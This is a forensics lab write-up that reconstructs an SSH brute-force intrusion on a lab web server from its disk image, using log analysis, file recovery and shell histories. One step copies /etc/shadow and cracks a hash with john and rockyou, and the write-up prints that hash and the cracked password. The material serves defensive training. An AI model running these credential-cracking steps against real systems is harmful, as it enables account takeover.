Post cover image

October 24, 2026

CyberDefenders Hacked Lab: Step-by-Step Writeup

Q1: What is the system timezone? Answer: Europe/Brussels

By Sushma

21 min read

Q1: What is the system timezone? Answer: Europe/Brussels

  1. Linux stores the timezone name in /etc/timezone and links /etc/localtime to the matching zone file.
  2. Run: cat /mnt/webserver/etc/timezone
  3. The output is a single line, Europe/Brussels
None

Q2: Who was the last user to log in? Answer: mail

  1. Successful logins are recorded in the binary file /var/log/wtmp, which the last command can read.
  2. Run: sudo last -f /mnt/webserver/var/log/wtmp | head
  3. The first line is the most recent login. It names the user mail with a remote IP address.
  4. Cross-check in /var/log/auth.log: sudo grep sshd /mnt/webserver/var/log/auth.log | tail -20 shows the same mail login at the end.
None

Q3: What source port did mail connect from? Answer: 57708

  1. SSH writes every successful login to auth.log as Accepted password for <user> from <IP> port <port> ssh2.
  2. Run: sudo grep "Accepted password for mail" /mnt/webserver/var/log/auth.log
  3. Take the last matching line. The number after the word port is the source port, 57708.
None

Q4: How long was the last mail session? Answer: 1 minute

  1. Each SSH session logs a session opened line and, at logout, a session closed line, both with timestamps.
  2. Run: sudo grep -E "session (opened|closed) for user mail" /mnt/webserver/var/log/auth.log | tail -4
  3. Subtract the opened time from the closed time for the last pair. The difference is about one minute, so the answer is 1.
None

Q5: Which service did the last user log in with? Answer: sshd

  1. Each auth.log line starts with the program that wrote it, for example sshd[1234]:.
  2. The Accepted password for mail line from Q3 was written by sshd, the SSH daemon. Answer: sshd.
None

Q6: What type of authentication attack was performed? Answer: brute-force

  1. Scroll up in auth.log from the successful mail login: sudo grep "Failed password" /mnt/webserver/var/log/auth.log | head -20
  2. You will see many Failed password for root from <IP> lines, a few seconds apart, from one address.
  3. Count them: sudo grep -c "Failed password for root" /mnt/webserver/var/log/auth.log
  4. Many rapid guesses against one account is a brute-force attack.
None

Q7: How many IP addresses are listed in /var/log/lastlog? Answer: 2

  1. lastlog is a binary file holding each account's last login time and source host.
  2. Run: sudo strings /mnt/webserver/var/log/lastlog
  3. Read the output for dotted IP addresses and count the unique ones. There are two.
None None

Q8: How many users have a login shell? Answer: 5

  1. A login shell is the last field of each line in /etc/passwd. Accounts that cannot log in use /usr/sbin/nologin or /bin/false.
  2. Run: grep -E "/bin/(bash|sh)$" /mnt/webserver/etc/passwd
  3. The result is five lines: root, mail, php, vulnosadmin and postgres, all with /bin/bash. webmin has no shell field, so it does not count.
None

Q9: What is the password of the mail user? Answer: forensics

Passwords are stored as hashes in /etc/shadow (SHA-512). Cracking needs the shadow hashes joined with the user names from passwd.

  1. Make a work folder and copy both files: mkdir ~/hacked && cd ~/hacked, then sudo cp /mnt/webserver/etc/passwd /mnt/webserver/etc/shadow . and sudo chown kali: passwd shadow.
  2. Combine them: unshadow passwd shadow > unshadow.txt
  3. Unpack the wordlist if it is still compressed: sudo gunzip /usr/share/wordlists/rockyou.txt.gz
  4. Crack: john --wordlist=/usr/share/wordlists/rockyou.txt unshadow.txt
  5. Show the results: john --show unshadow.txt. The mail line gives forensics, and the php account has the same password.
None 
──(kali㉿kali)-[~/Downloads]
└─$ cat hash.txt
mail:$6$zLaoLV8N$BNxYZUxvXiZwb3UjBhCxnxd9Mb02DDUF.GfMj1kbLB.s/quBVtMM4QjfOvmZvfqeh7BuLXaRvRSfpQgNI5prE.:18174:0:99999:7:::
┌──(kali㉿kali)-[~/Downloads]
└─$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:16 0.09% (ETA: 12:54:08) 0g/s 918.2p/s 918.2c/s 918.2C/s drowssap1..stewart1
forensics        (mail)
1g 0:00:01:00 DONE (2026-10-24 07:55) 0.01660g/s 977.5p/s 977.5c/s 977.5C/s kruimel..bluedolphin
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Q10: Which account did the attacker create? Answer: php

  1. Account creation is logged by the useradd command in auth.log.
  2. Run: sudo grep -E "useradd|usermod" /mnt/webserver/var/log/auth.log
  3. The lines show root creating a new user php and adding it to the sudo group.
  4. /etc/passwd agrees: php:x:999:999::/usr/php:/bin/bash has no description field, unlike a normal account such as vulnosadmin.
None

Q11: How many user groups exist? Answer: 58

  1. Every group is one line in /etc/group.
  2. Run: wc -l /mnt/webserver/etc/group
  3. The first number in the output is the count, 58.
None None 
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:syslog,vulnosadmin
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:vulnosadmin
floppy:x:25:
tape:x:26:
sudo:x:27:php,mail
audio:x:29:
dip:x:30:vulnosadmin
www-data:x:33:
backup:x:34:
operator:x:37:
list:x:38:
irc:x:39:
src:x:40:
gnats:x:41:
shadow:x:42:
utmp:x:43:
video:x:44:
sasl:x:45:
plugdev:x:46:vulnosadmin
staff:x:50:
games:x:60:
users:x:100:
nogroup:x:65534:
libuuid:x:101:
netdev:x:102:
crontab:x:103:
syslog:x:104:
fuse:x:105:
messagebus:x:106:
mlocate:x:107:
ssh:x:108:
landscape:x:109:
vulnosadmin:x:1000:
lpadmin:x:110:vulnosadmin
sambashare:x:111:vulnosadmin
ssl-cert:x:112:postgres
mysql:x:113:
webmin:x:1001:
postfix:x:114:
postdrop:x:115:
postgres:x:116:
php:x:999:
None

Q12: How many users have sudo access? Answer: 2

  1. Check who may use sudo: sudo cat /mnt/webserver/etc/sudoers. Apart from root, only the group sudo is granted rights (the %sudo line).
  2. List that group's members: grep "^sudo:" /mnt/webserver/etc/group
  3. The last field lists the members, comma-separated. There are two names, so the answer is 2. This is also why mail could run sudo su - in Q14.
None

Q13: What is the home directory of the php user? Answer: /usr/php

  1. The home directory is the sixth field of an /etc/passwd line.
  2. Run: grep "^php:" /mnt/webserver/etc/passwd
  3. Output: php:x:999:999::/usr/php:/bin/bash. The sixth field is /usr/php.
None

Q14: What command did the attacker use to get root? Answer: sudo su -

  1. The attacker logged in as mail (Q2), which is in the sudo group (Q12).
  2. /etc/passwd gives mail's home directory: mail:x:8:8:mail:/var/mail:/bin/bash, so it is /var/mail.
  3. Read its shell history: sudo cat /mnt/webserver/var/mail/.bash_history
  4. The command that switches to root is sudo su - (two spaces, as the question says)
None

Q15: Which file did root delete? Answer: 37292.c

  1. Root's history is in root's home directory.
  2. Run: sudo cat /mnt/webserver/root/.bash_history
  3. Near the end you will see cd /tmp/, ll, then an rm of a C file. The file is 37292.c.
  4. That name matches Exploit-DB entry 37292, the Ubuntu overlayfs local privilege-escalation exploit.
  5. Check the folder: ls -la /mnt/webserver/tmp lists only apache-xTRhUVX, so the file is really gone.
None

Q16: Recover the deleted file and read the exploit author. Answer: Rebel

A deleted file is not visible in the mounted folder, so recover it from the raw volume with the R-Studio data recovery tool from R-Tools. This is a different program from the RStudio IDE for R.

  1. Download the Linux .deb of R-Studio from r-studio.com, then install it: sudo apt install ./<file-name>.deb -y
  2. Keep the image mounted (Setup steps 2 to 4), then start the tool: sudo r-studio
  3. In the drive list, select VulnOSv2-vg-root (about 31 GB, not the 255 MB or 768 MB entries) and click Scan, then Scan again in the dialog. Wait for 100%.
  4. Under the drive, select the Recognized result and click Show Files.
  5. Open the tmp folder, tick 37292.c, click Recover Marked, and save it to /home/kali/Downloads/recovered, never onto the image.
  6. Read the header: head -20 ~/Downloads/recovered/37292.c. The Exploit Author line gives the author, Rebel.

Shortcut without the tool: sudo strings -a /dev/mapper/VulnOSv2--vg-root | grep -m5 -i -A6 "Exploit Title" scans the raw volume for the header, but it takes a few minutes and finds nothing if the blocks were overwritten. The same script is also on Exploit-DB under 37292.

None 
┌──(venv)─(kali㉿kali)-[~/Downloads]
└─$ sudo apt install ewf-tools lvm2 -y
sudo mkdir -p /mnt/ewf
sudo ewfmount ~/Downloads/temp_extract_dir/Webserver.E01 /mnt/ewf
sudo losetup -r -f -P --show /mnt/ewf/ewf1
sudo vgchange -ay
ls /dev/mapper
[sudo] password for kali:
ewf-tools is already the newest version (20140816-2+b2).
The following package was automatically installed and is no longer required:
  libobjc-15-dev
Use 'sudo apt autoremove' to remove it.

Installing:
  lvm2

Installing dependencies:
  dmeventd  libdevmapper-event1.02.1  liblvm2cmd2.03  thin-provisioning-tools

Summary:
  Upgrading: 0, Installing: 5, Removing: 0, Not Upgrading: 1441
  Download size: 3,181 kB
  Space needed: 10.9 MB / 28.8 GB available

Get:2 http://http.kali.org/kali kali-rolling/main amd64 liblvm2cmd2.03 amd64 2.03.31-2+b2 [796 kB]
Get:1 http://http.kali.org/kali kali-rolling/main amd64 libdevmapper-event1.02.1 amd64 2:1.02.205-2+b2 [13.0 kB]
Get:3 http://http.kali.org/kali kali-rolling/main amd64 dmeventd amd64 2:1.02.205-2+b2 [61.9 kB]
Get:4 http://http.kali.org/kali kali-rolling/main amd64 lvm2 amd64 2.03.31-2+b2 [1,298 kB]
Get:5 http://kali.download/kali kali-rolling/main amd64 thin-provisioning-tools amd64 1.1.0-5.1 [1,013 kB]
Fetched 3,181 kB in 12s (263 kB/s)
Selecting previously unselected package libdevmapper-event1.02.1:amd64.
(Reading database… 471951 files and directories currently installed.)
Preparing to unpack …/libdevmapper-event1.02.1_2%3a1.02.205-2+b2_amd64.deb…
Unpacking libdevmapper-event1.02.1:amd64 (2:1.02.205-2+b2)…
Selecting previously unselected package liblvm2cmd2.03:amd64.
Preparing to unpack …/liblvm2cmd2.03_2.03.31-2+b2_amd64.deb…
Unpacking liblvm2cmd2.03:amd64 (2.03.31-2+b2)…
Selecting previously unselected package dmeventd.
Preparing to unpack …/dmeventd_2%3a1.02.205-2+b2_amd64.deb…
Unpacking dmeventd (2:1.02.205-2+b2)…
Selecting previously unselected package lvm2.
Preparing to unpack …/lvm2_2.03.31-2+b2_amd64.deb…
Unpacking lvm2 (2.03.31-2+b2)…
Selecting previously unselected package thin-provisioning-tools.
Preparing to unpack …/thin-provisioning-tools_1.1.0-5.1_amd64.deb…
Unpacking thin-provisioning-tools (1.1.0-5.1)…
Setting up libdevmapper-event1.02.1:amd64 (2:1.02.205-2+b2)…
Setting up thin-provisioning-tools (1.1.0-5.1)…
Setting up liblvm2cmd2.03:amd64 (2.03.31-2+b2)…
Setting up dmeventd (2:1.02.205-2+b2)…
Created symlink '/etc/systemd/system/sockets.target.wants/dm-event.socket' → '/usr/lib/systemd/system/dm-event.socket'.
dm-event.service is a disabled or a static unit, not starting it.
Setting up lvm2 (2.03.31-2+b2)…
blk-availability.service is a disabled or a static unit, not starting it.
lvm2-monitor.service is a disabled or a static unit, not starting it.
Created symlink '/etc/systemd/system/sysinit.target.wants/lvm2-lvmpolld.socket' → '/usr/lib/systemd/system/lvm2-lvmpolld.socket'.
Processing triggers for kali-menu (2026.2.6)…
Processing triggers for initramfs-tools (0.151)…
update-initramfs: Generating /boot/initrd.img-6.19.14+kali-amd64
Processing triggers for libc-bin (2.43-4)…
Processing triggers for man-db (2.13.1-1)…
ewfmount 20140816

/dev/loop0
  WARNING: PV /dev/loop0p5 in VG VulnOSv2-vg is using an old PV header, modify the VG to update.
  2 logical volume(s) in volume group "VulnOSv2-vg" now active
control  VulnOSv2--vg-root  VulnOSv2--vg-swap_1

 ┌──(venv)─(kali㉿kali)-[~/Downloads]
└─$ sudo mkdir -p /mnt/webserver
sudo mount -o ro,noload /dev/mapper/VulnOSv2--vg-root /mnt/webserver
ls /mnt/webserver
bin  boot  dev  etc  home  initrd.img  lib  lost+found  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var  vmlinuz

┌──(venv)─(kali㉿kali)-[~/Downloads]
└─$ cat /mnt/webserver/etc/passwd
cat /mnt/webserver/root/.bash_history
ls -la /mnt/webserver/tmp
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/bin/bash
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
php:x:999:999::/usr/php:/bin/bash
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
landscape:x:103:109::/var/lib/landscape:/bin/false
vulnosadmin:x:1000:1000:vulnosadmin,,,:/home/vulnosadmin:/bin/bash
mysql:x:104:113:MySQL Server,,,:/nonexistent:/bin/false
webmin:x:1001:1001::/home/webmin:
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
postfix:x:106:114::/var/spool/postfix:/bin/false
postgres:x:107:116:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
cat: /mnt/webserver/root/.bash_history: Permission denied
total 20
drwxrwxrwx  2 root     root      4096 Oct  5  2019 .
drwxr-xr-x 21 root     root      4096 Apr  3  2016 ..
-rwxr-xr-x  1 www-data www-data 12193 Oct  5  2019 apache-xTRhUVX

┌──(venv)─(kali㉿kali)-[~/Downloads]
└─$ sudo cat /mnt/webserver/root/.bash_history
poweroff
whoami
id
pwd
vim /etc/passwd
ll
vim flag.txt
cat .psql_history
cd /var/www/html/
ll
cd jabc
ll
cat .htaccess
ll
vim scripts/update.php
ls -lh scripts/
w
logout
vim /var/log/lastlog
logout
passwd php
logout
cd /tmp/
ll
rm 37292.c
cd
ls -lha
ls .cache/
cat .cache/motd.legal-displayed
logout

┌──(venv)─(kali㉿kali)-[~/Downloads]
└─$ sudo strings -a /dev/mapper/VulnOSv2--vg-root | grep -i -B4 -A4 "overlayfs"
CONFIG_SENSORS_LM70=M
CONFIG_NET_EMATCH_NBYTE=M
CONFIG_SENSORS_BH1770=M
CONFIG_NORTEL_HERMES=M
CONFIG_OVERLAYFS_FS=M
CONFIG_SIS190=M
CONFIG_TCG_NSC=M
CONFIG_WIMAX_I2400M=M
CONFIG_CUSE=M
--
CONFIG_SERIAL_MAX310X=y
CONFIG_NET_EMATCH_NBYTE=m
CONFIG_SENSORS_BH1770=m
CONFIG_NORTEL_HERMES=m
CONFIG_OVERLAYFS_FS=m
CONFIG_SIS190=m
CONFIG_TRANSPARENT_HUGEPAGE_ALWAYS=y
CONFIG_RAPIDIO_DMA_ENGINE=y
CONFIG_TCG_NSC=m
--
/usr/src/linux-headers-3.13.0-24/fs/lockd/Makefile
/usr/src/linux-headers-3.13.0-24/fs/sysv
/usr/src/linux-headers-3.13.0-24/fs/sysv/Kconfig
/usr/src/linux-headers-3.13.0-24/fs/sysv/Makefile
/usr/src/linux-headers-3.13.0-24/fs/overlayfs
/usr/src/linux-headers-3.13.0-24/fs/overlayfs/Kconfig
/usr/src/linux-headers-3.13.0-24/fs/overlayfs/Makefile
/usr/src/linux-headers-3.13.0-24/fs/ncpfs
/usr/src/linux-headers-3.13.0-24/fs/ncpfs/Kconfig
/usr/src/linux-headers-3.13.0-24/fs/ncpfs/Makefile
/usr/src/linux-headers-3.13.0-24/fs/affs
--
d41d8cd98f00b204e9800998ecf8427e  usr/src/linux-headers-3.13.0-24-generic/include/config/ore.h
d41d8cd98f00b204e9800998ecf8427e  usr/src/linux-headers-3.13.0-24-generic/include/config/orinoco/usb.h
d41d8cd98f00b204e9800998ecf8427e  usr/src/linux-headers-3.13.0-24-generic/include/config/osf/partition.h
d41d8cd98f00b204e9800998ecf8427e  usr/src/linux-headers-3.13.0-24-generic/include/config/output/format.h
d41d8cd98f00b204e9800998ecf8427e  usr/src/linux-headers-3.13.0-24-generic/include/config/overlayfs/fs.h
d41d8cd98f00b204e9800998ecf8427e  usr/src/linux-headers-3.13.0-24-generic/include/config/p54/common.h
d41d8cd98f00b204e9800998ecf8427e  usr/src/linux-headers-3.13.0-24-generic/include/config/p54/leds.h
d41d8cd98f00b204e9800998ecf8427e  usr/src/linux-headers-3.13.0-24-generic/include/config/p54/pci.h
d41d8cd98f00b204e9800998ecf8427e  usr/src/linux-headers-3.13.0-24-generic/include/config/p54/spi.h
--
CONFIG_QUOTACTL=y
CONFIG_AUTOFS4_FS=m
CONFIG_FUSE_FS=y
CONFIG_CUSE=m
CONFIG_OVERLAYFS_FS=m
CONFIG_GENERIC_ACL=y
# Caches
CONFIG_FSCACHE=m
CONFIG_FSCACHE_STATS=y
--
/usr/src/linux-headers-3.13.0-24-generic/include/config/bcm
/usr/src/linux-headers-3.13.0-24-generic/include/config/bcm/wimax.h
/usr/src/linux-headers-3.13.0-24-generic/include/config/fanotify.h
/usr/src/linux-headers-3.13.0-24-generic/include/config/qlcnic.h
/usr/src/linux-headers-3.13.0-24-generic/include/config/overlayfs
/usr/src/linux-headers-3.13.0-24-generic/include/config/overlayfs/fs.h
/usr/src/linux-headers-3.13.0-24-generic/include/config/fusion.h
/usr/src/linux-headers-3.13.0-24-generic/include/config/dmi.h
/usr/src/linux-headers-3.13.0-24-generic/include/config/sysctl.h
/usr/src/linux-headers-3.13.0-24-generic/include/config/rpcsec
--
#define CONFIG_SERIAL_MAX310X 1
#define CONFIG_NET_EMATCH_NBYTE_MODULE 1
#define CONFIG_SENSORS_BH1770_MODULE 1
#define CONFIG_NORTEL_HERMES_MODULE 1
#define CONFIG_OVERLAYFS_FS_MODULE 1
#define CONFIG_SIS190_MODULE 1
#define CONFIG_TRANSPARENT_HUGEPAGE_ALWAYS 1
#define CONFIG_RAPIDIO_DMA_ENGINE 1
#define CONFIG_TCG_NSC_MODULE 1
--
CONFIG_QUOTACTL=y
CONFIG_AUTOFS4_FS=m
CONFIG_FUSE_FS=y
CONFIG_CUSE=m
CONFIG_OVERLAYFS_FS=m
CONFIG_GENERIC_ACL=y
# Caches
CONFIG_FSCACHE=m
CONFIG_FSCACHE_STATS=y
--
xarao8
fsl4
ball,M
nextwordjuliusifeffitifeffitfsl4.1-slicesdirfsl-4.1fsl4.1-fslchpixdimfsl-4.1mp3diagsmp3diagsbrprintconfiglpr2brother-lpr-drivers-laserqueensgbx128vicebrprintconf_mfc845cwbrother-lpr-drivers-bh7VBoxManagevirtualboxtcmp3cuttranscodemovie-make-title-simplevideotranschocolate-setupchocolate-doomchocolate-serverchocolate-doomglhwcluhexen2sfcbunstagesfcbfsl4.1-avw2fslfsl-4.1chocolate-hexen-setupchocolate-doomfsl4.1-fslvbm_1_betfsl-4.1fsl4.1-zeropadfsl-4.1fsl4.1-tbss_2_regfsl-4.1avidemux2_cliavidemux-clifsl4.1-pvmfitfsl-4.1chi2pamldreadnautnautysfcbmofsfcbpamppamlfcliqueembassy-phylipx-window-manageramiwm|notiononmetis.exemetis-edfmovie-fakewavspeedvideotransxgnuboygnuboy-xcountgnautyxvicviceroguebsdgames-nonfreefsl4.1-mvntoolfsl-4.1fsl4.1-dof2warpfsl-4.1cgccsparseVBoxHeadlessvirtualboxfsl4.1-generate_b0fsl-4.1messmessogmripogmripfsl4.1-mmfsl-4.1fsl4.1-perfusion_subtractfsl-4.1brprintconf_bh7brother-lpr-drivers-bh7chocolate-hereticchocolate-doomsdlgnuboygnuboy-sdlift-extractisight-firmware-toolscopygnautybrprintconfcl1brother-lpr-drivers-mfc9420cnfsl4.1-mcflirtfsl-4.1mpglenmpglenbrprintconf_mfc5460cnbrother-lpr-drivers-bh7phylipphyliptetgentetgenbrprintconf_acbrother-lpr-drivers-acbrprintconf_dcp560cnbrother-lpr-drivers-extrabrprintconf_mfc240cbrother-lpr-drivers-bh7fsl4.1-fslchfiletype_exefsl-4.1wolf4sdl-sodwolf4sdltimestampirpasinstall-notion-cfgnotionfsl4.1-medianfilterfsl-4.1fs2_openfreespace2ngmultidecngspicefrogattofrogattoarb-killarbnspluginwrappernspluginwrapperbook_componentssgbtheoraencogmripfdnamlembassy-phylipfsl4.1-fslslicefsl-4.1srttoolsubtitleripperstarpu_perfmodel_plotstarpu-contrib-toolsfsl4.1-fslstatsfsl-4.1fgendistembassy-phylipfsl4.1-susanfsl-4.1brprintconf_fax2580cbrother-lpr-drivers-bh7ptuneivtv-utilsvboxsdlvirtualboxfsl4.1-imrmfsl-4.1libjulius-configlibjulius-devbrprintconf_mfc235cbrother-lpr-drivers-extramythwelcomemythtv-frontendfsl4.1-connectedcompfsl-4.1fsl4.1-pairregfsl-4.1tctraceirpasfparsembassy-phylipjulius-generatejuliusmythfrontendmythtv-frontendcuobjdumpnvidia-cuda-toolkittdtodumpkcemukermit-sshsubckermitmythbackendmythtv-backendfsl4.1-tbss_1_preprocfsl-4.1expandxarlibxar-devwolf4sdl-wl6wolf4sdlxarasvgfilterxaralx-svgfsl4.1-fslascii2imgfsl-4.1fsl4.1-fsl_regfsl-4.1wmlvwap-wml-toolsalien-arena-serveralien-arena-servervirtualboxvirtualbox-qtcudafenvidia-cuda-toolkitnvccnvidia-cuda-toolkitlgenerallgeneralsparsesparseuccexult-studiostarpu_workers_activitystarpu-contrib-toolsword_componentssgbavs2psraster3dgenrangnautymount.vboxsfvirtualbox-guest-utilsavimergetranscodefsl4.1-flirtfsl-4.1ptune-uiivtv-utilstest-inspectsparsepaml-evolverpamlcmddumpxtrsfsl4.1-fsl2asciifsl-4.1fsl4.1-wpngfsl-4.1ldverifymame-toolsfdnacompembassy-phylipivtv-tuneivtv-utilsfmoveembassy-phylipxfractintxfractintnetperfnetperffsl4.1-siena_calfsl-4.1xvid4confxvid4confsfcbinst2mofsfcbtextpackexult-studionoshelltitantoolsSIFT_for_submitting_fasta_seq.cshsiftmkdfajuliussift_for_submitting_fasta_seq.cshsiftfsl4.1-updatefeatregfsl-4.1ftreedistpairembassy-phylipfsl4.1-fsl_glmfsl-4.1fsl4.1-probtrackxfsl-4.1catgnautyhexen2uhexen2genbgnautyfrestdistembassy-phyliptcextracttranscodetestkeysmame-toolsfsl4.1-fslcorrecthdfsl-4.1iucode-tooliucode-toolVBoxSDLvirtualboxmythhdhomerun_configmythtv-backendxspectspectemu-x11fsl4.1-imglobfsl-4.1trn3trnmythzmservermythzoneminderfsl4.1-proj_threshfsl-4.1fsl4.1-unconfoundfsl-4.1dosemudosemubrprintconf_mfc9450cdnbrother-lpr-drivers-ackermrcckermithdsploaderalsa-firmware-loadersfsl4.1-slicesfsl-4.1fsl4.1-fslechofsl-4.1d2x-rebirthd2x-rebirthtrainlibtrain-binvxloaderalsa-firmware-loadersfsl4.1-fslvalfsl-4.1ivtvfwextractivtv-utilsirdpirpasbrprintconf_dcp353cbrother-lpr-drivers-extrafsl4.1-fslinterleavefsl-4.1fdnamlkembassy-phylipfsl4.1-siena_flirtfsl-4.1xjadeoxjadeomythcommflagmythtv-backendfdrawgramembassy-phylipxpetvicefsl4.1-morph_kernelfsl-4.1fsl4.1-make_dyadic_vectorsfsl-4.1ngmakeidxngspicegogo.i686gogocytadelacytadelaftreedistembassy-phylipfsl4.1-pulsefsl-4.1brprintconf_mfc5860cnbrother-lpr-drivers-bh7ffreqbootembassy-phyliparb-add-pt-serverarbfsl4.1-convert_xfmfsl-4.1amoebaamoebafsl4.1-invwarpfsl-4.1
fprotparsembassy-phylipfsl4.1-Featfsl-4.1h2deduhexen2avifixtranscodeseaviewseaviewfcontrastembassy-phylipavisynctranscodefsl4.1-fslreorient2stdfsl-4.1assirpascuffmergecufflinksfsl4.1-dtifitfsl-4.1pgm2txtsubtitleripperfsl4.1-overlayfsl-4.1trntrn4|trnrocksndiamonds-binrocksndiamondsmythscreenwizardmythtv-frontendspumux.shogmrip-mpegfsl4.1-ttologpfsl-4.1inetmaskirpascbediccbedicfsl4.1-tbss_symfsl-4.1brprintconf_mfc680cnbrother-lpr-drivers-extrashowgnautyfsl4.1-fdrfsl-4.1rott-sharewarerottsubptoolsogmriprsreminiscencefile2cableirpasrunastitantoolsfsl4.1-fsl_tsplotfsl-4.1rdfwmlwap-wml-toolsfsl4.1-siglossfsl-4.1fsl4.1-fsledithdfsl-4.1fneighborembassy-phylipfsl4.1-first_roi_slicesdirfsl-4.1lmbench-runlmbenchvsthostdssi-vstfsl4.1-generate_brainfsl-4.1consoleconserver-clienttricalltriangle-bindarksnowdarksnowcartconvvicerott-sitelicenserottfdnamoveembassy-phylipaccept_checkjuliustcdecodetranscoded1x-rebirthd1x-rebirthfsl4.1-std2imgcoordfsl-4.1fsl4.1-Melodicfsl-4.1nvvpnvidia-visual-profilerBasiliskII-jitbasilisk2mythfilldatabasemythtv-backendqjadeoxjadeofsl4.1-bedpostxfsl-4.1planargnautyngspicengspicemiles_spansgbfsl4.1-first_flirtfsl-4.1brprintconf_mfc9840cdwbrother-lpr-drivers-acfsl4.1-clusterfsl-4.1hsrpirpasfsl4.1-Fdtfsl-4.1assaultcubeassaultcubefsl4.1-ApplyXFMfsl-4.1vboxballoonctrlvirtualboxwbmp2xpmwap-wml-toolsbrprintconflsr2brother-lpr-drivers-lasercoaxeaxeshp2pcxexult-studiodiffkkifeffitmythavtestmythtv-frontendpickgnautyfsl4.1-invwarp_exefsl-4.1fpromlembassy-phylipchdmanmame-toolskctapekcemuxjinfoxjadeomultiplysgbwxlauncherfreespace2-launcher-wxlauncherkplayerkplayerbrprintconf_mfc260cbrother-lpr-drivers-extrafcontmlembassy-phylipfsl4.1-fslpspecfsl-4.1brprintconf_dcp9042cdnbrother-lpr-drivers-acucxtexult-studiofseqbootallembassy-phylipjuliusjuliusdirectgnautylibsent-configlibjulius-devfsl4.1-fslanimatefsl-4.1fastaseqsblimps-utilsfsl4.1-Susanfsl-4.1xjremotexjadeobrprintconf_dcp770cwbrother-lpr-drivers-extracginfonvidia-cg-toolkitfsl4.1-ConcatXFMfsl-4.1fsl4.1-Nudgefsl-4.1mythutilmythtv-commonlistgnautyexult_studioexult-studiofsl4.1-slicerfsl-4.1mkbinhmmlistjuliusjavabf2jsubmux-dvdsubmux-dvdautodirautodirfsl4.1-eddy_correctfsl-4.1sauerbratensauerbratenmkssjuliusbin2cnvidia-cuda-toolkitpgmfindclippgmfindclipvboxmanagevirtualboxsfcbuuidsfcbfsl4.1-fslfsl-4.1wmldwap-wml-toolscompress_gtfcufflinksjcontroljuliusmaelstrommaelstromfsl4.1-slicetimerfsl-4.1fsl4.1-fsl_motion_outliersfsl-4.1tapeoutspectemu-commonfsl4.1-fuguefsl-4.1fsl4.1-siena_difffsl-4.1brprintconf_fax2480cbrother-lpr-drivers-bh7mkfajuliusipackexult-studiofmixembassy-phylipiucode_tooliucode-toollabel3draster3dnttcpnttcpbrprintconf_fax1860cbrother-lpr-drivers-bh7fsl4.1-tmpnamfsl-4.1girthsgbfsl4.1-Betfsl-4.1fsl4.1-spharm_rmfsl-4.1cluster3cluster3take_riscsgbgfaimgfaimirdpresponderirpasgffreadcufflinksfsl4.1-probtrackfsl-4.1fsl4.1-fslswapdim_exefsl-4.1fsl4.1-Renderstatsfsl-4.1wmlcwap-wml-toolsngproc2modngspicedfa_determinizejuliuswmlhtmlwap-wml-toolsfsl4.1-tbss_deprojectfsl-4.1fsl4.1-firstfsl-4.1fsl4.1-img2stdcoordfsl-4.1protosirpasnetservernetperfsfcbdsfcbx64dtvvicefsl4.1-find_the_biggestfsl-4.1fsl4.1-tsplotfsl-4.1strifechocolate-doomgmap_setupgmaprocksndiamondsrocksndiamondscgfxcatnvidia-cg-toolkittometomebugsxbugsxsfcbdumpsfcbchocolate-strifechocolate-doommythtv-setup.realmythtv-backendchaplinchaplinfsl4.1-tbss_4_prestatsfsl-4.1cuda-memchecknvidia-cuda-toolkitballsraster3dfsl4.1-fabberfsl-4.1map_coords_to_bin.plsiftfdiscbootembassy-phylipupdate-primesense-nite-nonfreeprimesense-nite-nonfreeNRswitchgnautyfsl4.1-randomise_parallelfsl-4.1fprotdistembassy-phyliph2patchuhexen2fsl4.1-run_first_allfsl-4.1starpu_perfmodel_displaystarpu-contrib-toolsfsl4.1-cutoffcalcfsl-4.1tegrarcmtegrarcmnewsetuptrnfsl4.1-fslvbm_2_templatefsl-4.1lgrindlgrindtrn-artchktrn4|trntcmodinfotranscodehereticchocolate-doomdfa_minimizejuliusfsl4.1-Glmfsl-4.1feff6ifeffitfsl4.1-run_firstfsl-4.1fsl4.1-remove_extfsl-4.1pmetismetis-edfkcemukcemumovie-zoomcalcvideotranshexenchocolate-doomrottrotttcxpm2rgbtranscodefsl4.1-flirt_averagefsl-4.1fsl4.1-midtransfsl-4.1ppmtoinfoamiwmfdnaparsembassy-phylipkc2rawkcemu
